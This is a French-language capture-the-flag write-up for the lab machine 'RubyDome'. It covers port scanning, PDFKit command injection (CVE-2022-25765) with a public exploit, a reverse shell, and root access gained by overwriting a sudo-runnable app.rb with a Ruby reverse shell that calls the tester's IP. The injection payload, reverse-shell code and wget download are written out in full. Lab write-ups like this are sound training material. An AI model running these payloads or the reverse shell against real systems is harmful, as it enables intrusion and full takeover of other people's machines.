RubyDome

PDFkit ruby

• Nom machine : RubyDome

• Difficulté : Facile

• OS : Linux

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 08:33 EDT
Nmap scan report for 192.168.194.22
Host is up (0.034s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
3000/tcp open  http    WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-07-07))
|_http-server-header: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)
|_http-title: RubyDome HTML to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (3000) : WEBrick/1.7.0

Nous avons lancer un server python sur le port 80 de notre machine kali et rentrer http://192.168.45.195 dans la barre de recherche. Le site nous renvoie un pdf qui liste le contenu de notre dossier.

Si on test http://localhost :

PDFKit est utilisé

Accès initial

PDFKit exploit

Nous allons utilisé l'exploit :

GitHub - UNICORDev/exploit-CVE-2022-25765: Exploit for CVE-2022–25765 (pdfkit) - Command InjectionGitHub

┌──(kali㉿kali)-[~]
└─$ python exploit.py -c 'ping -c2 192.168.45.195' -w http://192.168.194.22:3000/pdf -p url

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Custom Command Send to Target Website Mode
PAYLOAD: http://%20`ping -c2 192.168.45.195`
WARNING: Wrap custom command in "quotes" if it has spaces.
WEBSITE: http://192.168.194.22:3000/pdf
POSTARG: url
EXPLOIT: Payload sent to website!
SUCCESS: Exploit performed action.

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
08:54:26.460474 IP 192.168.194.22 > 192.168.45.195: ICMP echo request, id 1, seq 1, length 64
08:54:26.460518 IP 192.168.45.195 > 192.168.194.22: ICMP echo reply, id 1, seq 1, length 64
08:54:27.456315 IP 192.168.194.22 > 192.168.45.195: ICMP echo request, id 1, seq 2, length 64
08:54:27.456349 IP 192.168.45.195 > 192.168.194.22: ICMP echo reply, id 1, seq 2, length 64

Ca fonctionne ! Nous allons créer un reverse shell :

┌──(kali㉿kali)-[~]
└─$ python exploit.py -w http://192.168.194.22:3000/pdf -p url -s 192.168.45.195 1234

Au même moment, le listener :

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234 
listening on [any] 1234 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.194.22] 53300
whoami
andrew
python3 -c 'import pty;pty.spawn("/bin/bash")'
andrew@rubydome:~/app$ cd
cd
andrew@rubydome:~$ ls
ls
app  local.txt
andrew@rubydome:~$ cat local.txt

Elévation des privilèges

Executer script ruby

andrew@rubydome:~$ sudo -l
sudo -l
Matching Defaults entries for andrew on rubydome:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User andrew may run the following commands on rubydome:
    (ALL) NOPASSWD: /usr/bin/ruby /home/andrew/app/app.rb

Nous poubons exécuter des scipt ruby en tant que root. Nous allons voir quelles sont les droits sur le répertoire app et le fichier app.rb.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.194.22] 50504
python3 -c 'import pty;pty.spawn("/bin/bash")'
andrew@rubydome:~/app$ ls -al
ls -al
total 84
drwxr-xr-x 2 andrew andrew  4096 Jul 23 13:04 .
drwxr-x--- 4 andrew andrew  4096 Jul 23 12:59 ..
-rw-rw-r-- 1 andrew andrew   274 Jul 23 13:03 app.rb
-rw-rw-r-- 1 andrew andrew 69622 Jul 23 12:42 page.pdf

Nous pouvons écrire ! Nous pouvons effectuer un backup de app.rb sur notre machine puis supprimer app.rb de la cible.

Nous avons copié le reverse shell ruby de : https://gist.github.com/gr33n7007h/c8cba38c5a4a59905f62233b36882325

Nous avons modifié pour correspondre à notre adresse ip puis ouvert un port http python.

┌──(kali㉿kali)-[~]
└─$ cat app.rb     
#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337 

require 'socket'

s = Socket.new 2,1
s.connect Socket.sockaddr_in 1337, '192.168.45.195'

[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'
                                                               
┌──(kali㉿kali)-[~]
└─$ python -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.194.22 - - [23/Jul/2024 09:04:11] "GET /app.rb HTTP/1.1" 200 -

Nous vons télécharger le fichier app.rb puis exécuter le fichier en tant que root.

andrew@rubydome:~/app$ wget http://192.168.45.195/app.rb
wget http://192.168.45.195/app.rb
--2024-07-23 13:04:05--  http://192.168.45.195/app.rb
Connecting to 192.168.45.195:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 274 [application/x-ruby]
Saving to: ‘app.rb’

app.rb                0%[                    ]       0  --.-KB/app.rb              100%[===================>]     274  --.-KB/s    in 0s      

2024-07-23 13:04:05 (1.24 MB/s) - ‘app.rb’ saved [274/274]

andrew@rubydome:~/app$ sudo /usr/bin/ruby /home/andrew/app/app.rb

Nous écoutons sur le port 1337

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337   
listening on [any] 1337 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.194.22] 58336
# whoami
root
# pwd
/home/andrew/app
# cd /root
# cat proof.txt

Nous sommes root !